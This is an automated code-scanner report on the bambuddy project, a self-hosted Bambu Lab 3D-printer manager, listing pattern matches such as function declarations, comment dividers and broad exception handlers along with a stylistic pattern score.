Your Bambu Lab. No Cloud. Your Rules. Self-hosted command center for Bambu Lab — from one A1 to an entire print farm.
This report summarizes scanner evidence for maziggy/bambuddy, a Python project with 3,071 GitHub stars. SynthScan examined 836,164 lines of code across 1759 source files, recording 15962 pattern matches distributed across 21 syntactic categories. The legacy adjusted pattern signal is 24.4 (Elevated pattern signal); it is not an authorship estimate.
Use the findings to ask whether maintainers can explain intent, verify dependencies, simplify unnecessary scaffolding, and focus review effort. Risk Payload v1 adds ownership, supply-chain, over-engineering, and review-effort vectors when available. These are prompts for human verification, not probabilities, security findings, or measured maintenance costs.
Use each vector to guide manual verification of the underlying findings.
Can maintainers explain intent, assumptions, and trade-offs? 11810 finding(s).
Are imports declared and package/API names verified? 1172 finding(s).
Are wrappers, guards, and repeated structures necessary? 13589 finding(s).
Which changes need focused human review? 15962 finding(s).
This chart tracks the legacy adjusted pattern score across scan runs. Changes can reflect source changes, scan coverage, or detector/scoring versions; they do not measure AI adoption or prove that a team refactored code. Compare runs only when their scoring versions are compatible. The dashed line tracks the raw pattern-hit count.
Groups findings by configured severity weight. Severity is not a confidence estimate, security rating, or proof that a package is missing. Verify imports against the project's manifests and inspect each finding in its local design context.
This horizontal bar chart shows where configured pattern scores accumulate across directories. Treat the bars as locations to inspect, not as evidence of authorship or code quality. Use the file-level findings to decide whether a directory needs a focused ownership, dependency, complexity, or review check.
The scanner identified 15962 distinct pattern matches across 21 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a detector match to inspect in context. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.
Reading the findings table: The Severity column indicates the configured finding weight (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — legacy comment-context matches receive a ×1.5 score weight. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier under the legacy scoring model.
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | frontend/src/utils/amsHelpers.ts | 629 | export function resolveSlotNozzleDiameter( | CODE |
| LOW | frontend/src/utils/printer.ts | 70 | export function isPrinterCurrentlyDispatchable(status: PrinterStatus | undefined): boolean { | CODE |
| LOW | frontend/src/utils/printer.ts | 92 | export function filterCompatibleQueueItems( | CODE |
| LOW | frontend/src/utils/filamentPresets.ts | 64 | export function genericFilamentIdForMaterial(material: string | null | undefined): string { | CODE |
| LOW | frontend/src/utils/filamentPresets.ts | 112 | export function buildFilamentPresetOptions(sources: FilamentPresetSources): FilamentPresetOption[] { | CODE |
| LOW⚡ | frontend/src/utils/inventoryQueries.ts | 6 | export function invalidateInventoryLocations(queryClient: QueryClient) { | CODE |
| LOW⚡ | frontend/src/utils/inventoryQueries.ts | 13 | export function invalidateInventorySuppliers(queryClient: QueryClient) { | CODE |
| LOW⚡ | frontend/src/utils/inventoryQueries.ts | 18 | export function invalidateSpoolAndLocationQueries( | CODE |
| LOW | frontend/src/utils/slicerPrinterMatch.ts | 63 | export function matchesPrinterModelSuffix(presetSuffix: string, printerModel: string): boolean { | CODE |
| LOW | frontend/src/utils/slicerPrinterMatch.ts | 166 | function extractPrinterPresetModel(printerPresetName: string): { model: string; nozzle: string | null } | null { | CODE |
| LOW | frontend/src/utils/slicerPrinterMatch.ts | 177 | function stripTrailingParenthetical(s: string): string { | CODE |
| LOW | frontend/src/utils/locationSensorDefaults.ts | 30 | export function defaultLocationSensorDefaults(): LocationSensorDefaults { | CODE |
| LOW | frontend/src/utils/locationSensorDefaults.ts | 60 | export function loadLocationSensorDefaults(alertDefaultsJson?: string | null): LocationSensorDefaults { | CODE |
| LOW | frontend/src/utils/locationSensorDefaults.ts | 88 | export function serializeLocationSensorAlertDefaults(defaults: LocationSensorDefaults): string { | CODE |
| LOW | frontend/src/utils/locationSensorDefaults.ts | 100 | export function saveLocationSensorShowOnCardDefaults(defaults: LocationSensorDefaults) { | CODE |
| LOW | frontend/src/utils/locationSensorDefaults.ts | 114 | export function loadLocationSensorColorizeValues(): boolean { | CODE |
| LOW | frontend/src/utils/locationSensorDefaults.ts | 131 | function notifyLocationSensorColorPrefsChanged() { | CODE |
| LOW | frontend/src/utils/locationSensorDefaults.ts | 135 | export function saveLocationSensorColorizeValues(value: boolean) { | CODE |
| LOW⚡ | frontend/src/utils/locationSensorDefaults.ts | 165 | export function loadLocationSensorAlertAboveColor(): LocationSensorAlertColor { | CODE |
| LOW⚡ | frontend/src/utils/locationSensorDefaults.ts | 174 | export function saveLocationSensorAlertAboveColor(color: LocationSensorAlertColor) { | CODE |
| LOW⚡ | frontend/src/utils/locationSensorDefaults.ts | 183 | export function loadLocationSensorAlertBelowColor(): LocationSensorAlertColor { | CODE |
| LOW⚡ | frontend/src/utils/locationSensorDefaults.ts | 192 | export function saveLocationSensorAlertBelowColor(color: LocationSensorAlertColor) { | CODE |
| LOW⚡ | frontend/src/utils/locationSensorDefaults.ts | 201 | export function loadLocationSensorAlertOptimalColor(): LocationSensorAlertColor { | CODE |
| LOW⚡ | frontend/src/utils/locationSensorDefaults.ts | 210 | export function saveLocationSensorAlertOptimalColor(color: LocationSensorAlertColor) { | CODE |
| LOW | frontend/src/utils/locationSensorDefaults.ts | 226 | function readLocationSensorColorPrefs(): LocationSensorColorPrefs { | CODE |
| LOW | frontend/src/utils/locationSensorDefaults.ts | 242 | export function useLocationSensorColorPrefs(): LocationSensorColorPrefs { | CODE |
| LOW | frontend/src/utils/locationSensorDefaults.ts | 256 | export function locationSensorReadingAlertStatus(reading: LocationHASensorReading): LocationSensorAlertStatus { | CODE |
| LOW | frontend/src/utils/locationSensorDefaults.ts | 269 | export function locationSensorValueColorClass( | CODE |
| LOW | frontend/src/utils/sidebarLayout.ts | 26 | export function getHiddenSidebarSystemItemIds(): string[] { | CODE |
| LOW | frontend/src/utils/sidebarLayout.ts | 38 | export function saveHiddenSidebarSystemItemIds(ids: string[]) { | CODE |
| LOW | frontend/src/utils/preheatFilamentTargets.ts | 40 | export function parsePreheatFilamentTargets(raw: string): Record<string, number> { | CODE |
| LOW | frontend/src/utils/preheatFilamentTargets.ts | 61 | export function serializePreheatFilamentTargets(map: Record<string, number>): string { | CODE |
| LOW | frontend/src/utils/preheatFilamentTargets.ts | 78 | export function normalizePreheatFilamentType(trayType: string): string { | CODE |
| LOW | frontend/src/utils/preheatFilamentTargets.ts | 91 | export function deriveChamberTargetForTrays( | CODE |
| LOW | frontend/src/utils/projectQueries.ts | 34 | export function invalidateArchiveAndProjectViews(queryClient: QueryClient) { | CODE |
| LOW | frontend/src/components/ModelViewer.tsx | 257 | function parsePlateIdFromAttributes(element: Element): number | null { | CODE |
| LOW | frontend/src/components/LocationSensorOptionsModal.tsx | 146 | export function LocationSensorOptionsModal({ onClose }: Props) { | CODE |
| LOW | frontend/src/components/CreateUserAdvancedAuthModal.tsx | 32 | export function CreateUserAdvancedAuthModal({ | CODE |
| LOW | frontend/src/components/ConnectionDiagnostic.tsx | 120 | export function ConnectionDiagnosticModal(props: ConnectionDiagnosticModalProps) { | CODE |
| LOW | frontend/src/components/ArchiveMediaDownloadModal.tsx | 17 | export function ArchiveMediaDownloadModal({ | CODE |
| LOW | …ntend/src/components/VirtualPrinterDiagnosticModal.tsx | 32 | export function VirtualPrinterDiagnosticModal({ | CODE |
| LOW | frontend/src/components/NotificationTemplateEditor.tsx | 14 | export function NotificationTemplateEditor({ template, onClose }: NotificationTemplateEditorProps) { | CODE |
| LOW | …ontend/src/components/PreheatFilamentTargetsEditor.tsx | 23 | export function PreheatFilamentTargetsEditor({ value, onChange, disabled = false }: Props) { | CODE |
| LOW | frontend/src/components/PrintModal/archiveAmsMapping.ts | 32 | export function resolveArchiveSlicerAmsMapping( | CODE |
| LOW | frontend/src/components/spool-form/ColorSection.tsx | 13 | function normalizeExtraColorsInput(raw: string): { value: string; invalid: string[] } { | CODE |
| LOW | frontend/src/components/spool-form/utils.ts | 190 | function buildLocalFilamentOptions(localPresets: LocalPreset[]): FilamentOption[] { | CODE |
| LOW | frontend/src/components/spool-form/utils.ts | 436 | export function materialForGenericFilamentId(id: string | null | undefined): string { | CODE |
| LOW | frontend/src/components/spool-form/utils.ts | 450 | export function genericFilamentIdMatchesMaterial(id: string, material: string): boolean { | CODE |
| LOW | frontend/src/__tests__/components/SliceModal.test.tsx | 953 | function makeMultiPlateLibraryResponse() { | CODE |
| LOW | frontend/src/__tests__/components/SliceModal.test.tsx | 1178 | function makeMultiColorPlateResponse() { | CODE |
| LOW | frontend/src/__tests__/components/SliceModal.test.tsx | 1202 | function makeMultiColorRequirementsResponse() { | CODE |
| LOW | frontend/src/hooks/useMultiPrinterFilamentMapping.ts | 201 | function computeMappingWithOverrides( | CODE |
| LOW | frontend/src/hooks/useMultiPrinterFilamentMapping.ts | 296 | export function useMultiPrinterFilamentMapping( | CODE |
| LOW | frontend/src/hooks/useAnnouncements.ts | 10 | export function isAllowedAnnouncementLink(url: string | null | undefined): url is string { | CODE |
| LOW | frontend/src/api/client.ts | 113 | function parseContentDispositionFilename(header: string | null): string | null { | CODE |
| LOW | frontend/src/pages/SettingsPage.tsx | 193 | function describeLocationSensorValue( | CODE |
| LOW | frontend/src/pages/InventoryPage.tsx | 2889 | function locationSensorIconGapClass(deviceClass: string | null): string { | CODE |
| LOW | frontend/src/pages/PrintersPage.tsx | 1562 | function NozzleTemperatureControlBox({ | CODE |
| LOW | frontend/src/pages/FinancePage.tsx | 24 | function parsePrintChargeDescription(description: string | null): ParsedPrintChargeDescription { | CODE |
| LOW | …end/src/pages/spoolbuddy/SpoolBuddyCalibrationPage.tsx | 173 | export function SpoolBuddyCalibrationPage() { | CODE |
| 10514 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | docker-publish.sh | 290 | # ============================================================ | COMMENT |
| MEDIUM | docker-publish.sh | 292 | # ============================================================ | COMMENT |
| MEDIUM | test_docker.sh | 134 | # ============================================ | COMMENT |
| MEDIUM | test_docker.sh | 136 | # ============================================ | COMMENT |
| MEDIUM | test_docker.sh | 161 | # ============================================ | COMMENT |
| MEDIUM | test_docker.sh | 163 | # ============================================ | COMMENT |
| MEDIUM | test_docker.sh | 189 | # ============================================ | COMMENT |
| MEDIUM | test_docker.sh | 191 | # ============================================ | COMMENT |
| MEDIUM | test_docker.sh | 202 | # ============================================ | COMMENT |
| MEDIUM | test_docker.sh | 204 | # ============================================ | COMMENT |
| MEDIUM | test_docker.sh | 215 | # ============================================ | COMMENT |
| MEDIUM | test_docker.sh | 217 | # ============================================ | COMMENT |
| MEDIUM | test_docker.sh | 282 | # ============================================ | COMMENT |
| MEDIUM | test_docker.sh | 284 | # ============================================ | COMMENT |
| MEDIUM | docker-publish-beta.sh | 199 | # ============================================================ | COMMENT |
| MEDIUM | docker-publish-beta.sh | 201 | # ============================================================ | COMMENT |
| MEDIUM | test_security.sh | 45 | # ── Temp directory for scan output ─────────────────────────────────────── | COMMENT |
| MEDIUM | test_security.sh | 58 | # ── SARIF parser (used for CodeQL result display) ──────────────────────── | COMMENT |
| MEDIUM | test_security.sh | 106 | # ── Scan functions (write to stdout, return exit code) ─────────────────── | COMMENT |
| MEDIUM | test_security.sh | 211 | # ── Job launcher (streams output live with prefix, captures to log) ────── | COMMENT |
| MEDIUM | test_security.sh | 235 | # ── Wait for all scans ─────────────────────────────────────────────────── | COMMENT |
| MEDIUM | test_security.sh | 280 | # ── Summary ────────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | test_security.sh | 293 | # ── Results table ──────────────────────────────────────────────────── | COMMENT |
| MEDIUM | test_security.sh | 318 | # ── Full output per scan ───────────────────────────────────────────── | COMMENT |
| MEDIUM | test_security.sh | 350 | # ── Main ───────────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | .gitleaks.toml | 7 | # ── Custom rules ───────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | .gitleaks.toml | 37 | # ── Global allowlist ───────────────────────────────────────────────────── | COMMENT |
| MEDIUM⚡ | docker-publish-daily-beta.sh | 101 | # ============================================================ | COMMENT |
| MEDIUM⚡ | docker-publish-daily-beta.sh | 103 | # ============================================================ | COMMENT |
| MEDIUM⚡ | docker-publish-daily-beta.sh | 126 | # ============================================================ | COMMENT |
| MEDIUM⚡ | docker-publish-daily-beta.sh | 128 | # ============================================================ | COMMENT |
| MEDIUM⚡ | docker-publish-daily-beta.sh | 287 | # ============================================================ | COMMENT |
| MEDIUM⚡ | docker-publish-daily-beta.sh | 289 | # ============================================================ | COMMENT |
| MEDIUM⚡ | docker-publish-daily-beta.sh | 379 | # ============================================================ | COMMENT |
| MEDIUM⚡ | docker-publish-daily-beta.sh | 381 | # ============================================================ | COMMENT |
| MEDIUM | docker-publish-daily-beta.sh | 399 | # ============================================================ | COMMENT |
| MEDIUM | docker-publish-daily-beta.sh | 401 | # ============================================================ | COMMENT |
| MEDIUM | docker-publish-daily-beta.sh | 430 | # ============================================================ | COMMENT |
| MEDIUM | docker-publish-daily-beta.sh | 432 | # ============================================================ | COMMENT |
| MEDIUM | install/install.sh | 62 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/install.sh | 64 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/install.sh | 179 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/install.sh | 181 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/install.sh | 282 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/install.sh | 284 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/install.sh | 316 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/install.sh | 318 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/install.sh | 825 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/install.sh | 827 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/docker-install.sh | 45 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/docker-install.sh | 47 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/docker-install.sh | 156 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/docker-install.sh | 158 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/docker-install.sh | 214 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/docker-install.sh | 216 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/docker-install.sh | 361 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | install/docker-install.sh | 363 | # ----------------------------------------------------------------------------- | COMMENT |
| MEDIUM | frontend/src/components/TwoFactorSettings.tsx | 11 | // ─── Small reusable code input ──────────────────────────────────────────────── | COMMENT |
| MEDIUM | frontend/src/components/TwoFactorSettings.tsx | 36 | // ─── Backup codes display ───────────────────────────────────────────────────── | COMMENT |
| MEDIUM | frontend/src/components/TwoFactorSettings.tsx | 72 | // ─── TOTP setup wizard ──────────────────────────────────────────────────────── | COMMENT |
| 1406 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | backend/app/main.py | 1869 | except Exception: | CODE |
| HIGH | backend/app/main.py | 2618 | except Exception: | CODE |
| HIGH | backend/app/main.py | 4045 | except Exception: | CODE |
| HIGH | backend/app/main.py | 7062 | except Exception: | CODE |
| HIGH | backend/app/main.py | 8653 | except ValueError: | CODE |
| HIGH | backend/app/main.py | 3907 | except Exception: | CODE |
| HIGH | backend/app/main.py | 7351 | except Exception: | CODE |
| HIGH | backend/app/main.py | 7378 | except Exception: | CODE |
| HIGH | backend/app/main.py | 7698 | except Exception: | CODE |
| HIGH | backend/app/main.py | 5218 | except Exception: | CODE |
| HIGH | backend/app/main.py | 5360 | except Exception: | CODE |
| HIGH | backend/app/main.py | 8488 | except Exception: | CODE |
| HIGH | backend/app/main.py | 4455 | except Exception: | CODE |
| HIGH | backend/app/main.py | 5071 | except OSError: | CODE |
| HIGH | backend/app/main.py | 8689 | except (ValueError, TypeError): | CODE |
| HIGH | backend/app/main.py | 8696 | except (ValueError, TypeError): | CODE |
| HIGH | backend/app/main.py | 8737 | except (ValueError, TypeError): | CODE |
| HIGH | backend/app/main.py | 8402 | except Exception: | CODE |
| HIGH | backend/app/main.py | 8791 | except (ValueError, TypeError): | CODE |
| HIGH | backend/app/main.py | 5041 | except OSError: | CODE |
| HIGH | backend/app/main.py | 5053 | except OSError: | CODE |
| HIGH | backend/app/core/database.py | 1976 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 1987 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 1996 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2096 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2105 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2112 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2148 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2184 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2375 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2386 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2549 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2658 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2684 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2820 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2840 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2857 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2878 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2894 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2903 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2914 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2948 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 3042 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 3104 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 3150 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 3222 | except (OperationalError, ProgrammingError, IntegrityError): | CODE |
| HIGH | backend/app/core/database.py | 3499 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 3508 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 3552 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2040 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2053 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2065 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2079 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2358 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2448 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2617 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 2788 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 3296 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 3646 | except (OperationalError, ProgrammingError): | CODE |
| HIGH | backend/app/core/database.py | 4181 | except (OperationalError, ProgrammingError): | CODE |
| 357 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | backend/app/cli.py | 9 | CODE | |
| LOW | backend/app/core/oidc_env.py | 10 | CODE | |
| LOW | backend/app/core/auth.py | 1 | CODE | |
| LOW | backend/app/core/trace.py | 30 | CODE | |
| LOW | backend/app/core/encryption.py | 22 | CODE | |
| LOW | backend/app/core/tasks.py | 22 | CODE | |
| LOW | backend/app/core/compat.py | 6 | CODE | |
| LOW | backend/app/core/paths.py | 11 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| LOW | backend/app/core/database.py | 288 | CODE | |
| 1012 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | frontend/docs/create_proxy_diagram.py | 41 | except Exception as e: | CODE |
| LOW | tests/e2e_toggle_persistence_test.py | 310 | except Exception as e: | CODE |
| LOW | tests/e2e_comprehensive_test.py | 366 | except Exception as e: | CODE |
| MEDIUM | backend/app/main.py | 3782 | def _guarded() -> None: | CODE |
| MEDIUM | backend/app/main.py | 7560 | def _notify_no_archive(): | CODE |
| MEDIUM | backend/app/main.py | 7774 | def _notify_billing_charge_failed() -> None: | CODE |
| LOW⚡ | backend/app/main.py | 908 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 924 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 2881 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 3224 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 3229 | except Exception: | CODE |
| LOW⚡ | backend/app/main.py | 3237 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 3903 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 3907 | except Exception: | CODE |
| LOW⚡ | backend/app/main.py | 7392 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 7394 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 8445 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 8449 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 8967 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 9096 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 9243 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 9351 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 9366 | except Exception as e: | CODE |
| LOW⚡ | backend/app/main.py | 9472 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 998 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 1445 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 1631 | except Exception: | CODE |
| LOW | backend/app/main.py | 1789 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 1835 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 1853 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 1869 | except Exception: | CODE |
| LOW | backend/app/main.py | 1913 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 2007 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 2119 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 2312 | except Exception: | CODE |
| LOW | backend/app/main.py | 2483 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 2567 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 2618 | except Exception: | CODE |
| LOW | backend/app/main.py | 2636 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 2801 | except Exception: | CODE |
| LOW | backend/app/main.py | 2937 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 2978 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 2989 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 3125 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 3161 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 3185 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 3311 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 3379 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 3426 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 3491 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 3679 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 3771 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 3787 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 3838 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 4045 | except Exception: | CODE |
| LOW | backend/app/main.py | 4072 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 4082 | except Exception as e: | CODE |
| LOW | backend/app/main.py | 4170 | except Exception as snap_err: | CODE |
| LOW | backend/app/main.py | 4181 | except Exception as light_err: | CODE |
| LOW | backend/app/main.py | 4208 | except Exception as notif_err: | CODE |
| 817 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | requirements.txt | 1 | # Web Framework | COMMENT |
| LOW | requirements.txt | 41 | # Virtual Printer (emulates Bambu printer for slicer uploads) | COMMENT |
| LOW | requirements.txt | 121 | COMMENT | |
| LOW | requirements.txt | 141 | # decompression limits, proxy TLS settings); 2.8.0 is the fixed release. | COMMENT |
| LOW | .pre-commit-config.yaml | 21 | - id: trailing-whitespace | COMMENT |
| LOW | docker-publish.sh | 1 | #!/bin/bash | COMMENT |
| LOW | docker-publish-beta.sh | 1 | #!/bin/bash | COMMENT |
| LOW | test_security.sh | 1 | #!/usr/bin/env bash | COMMENT |
| LOW | requirements-dev.txt | 21 | pyOpenSSL>=26.0.0 | COMMENT |
| LOW | docker-compose.yml | 1 | services: | COMMENT |
| LOW | docker-compose.yml | 21 | # | COMMENT |
| LOW | docker-compose.yml | 41 | # 50000-50009, VP 2 → 50010-50019, VP 3 → 50020-50029, etc. The default | COMMENT |
| LOW | docker-compose.yml | 61 | # narrowed range above. | COMMENT |
| LOW | docker-compose.yml | 81 | # so Bambuddy can request Let's Encrypt certs for virtual printers via | COMMENT |
| LOW | docker-compose.yml | 101 | # files back to the host share. | COMMENT |
| LOW | docker-compose.yml | 121 | #- BAMBUDDY_COMPOSE_DIR=${PWD} | COMMENT |
| LOW | docker-compose.yml | 141 | # run the sidecar on a different host/port. The matching docker-compose.yml | COMMENT |
| LOW | docker-compose.yml | 161 | # Enable System Trust Store for certificate validation (e.g. for local Home Assistant) | COMMENT |
| LOW | docker-compose.yml | 181 | # POSTGRES_PASSWORD: changeme | COMMENT |
| LOW | docker-publish-daily-beta.sh | 1 | #!/bin/bash | COMMENT |
| LOW | docker-publish-daily-beta.sh | 21 | # | COMMENT |
| LOW | install/install.sh | 1 | #!/usr/bin/env bash | COMMENT |
| LOW | install/install.sh | 421 | fi | COMMENT |
| LOW | install/docker-install.sh | 1 | #!/usr/bin/env bash | COMMENT |
| LOW | install/update_macos.sh | 61 | # | COMMENT |
| LOW | install/update_macos.sh | 101 | return 0 | COMMENT |
| LOW | frontend/vite.config.ts | 61 | // documented workaround, which doesn't depend on this setting. | COMMENT |
| LOW | frontend/src/types/plates.ts | 41 | // Process settings the designer changed away from the stock preset, read | COMMENT |
| LOW | frontend/src/contexts/SliceJobTrackerContext.tsx | 101 | const progress = progressRef.current.get(job.id) ?? null; | COMMENT |
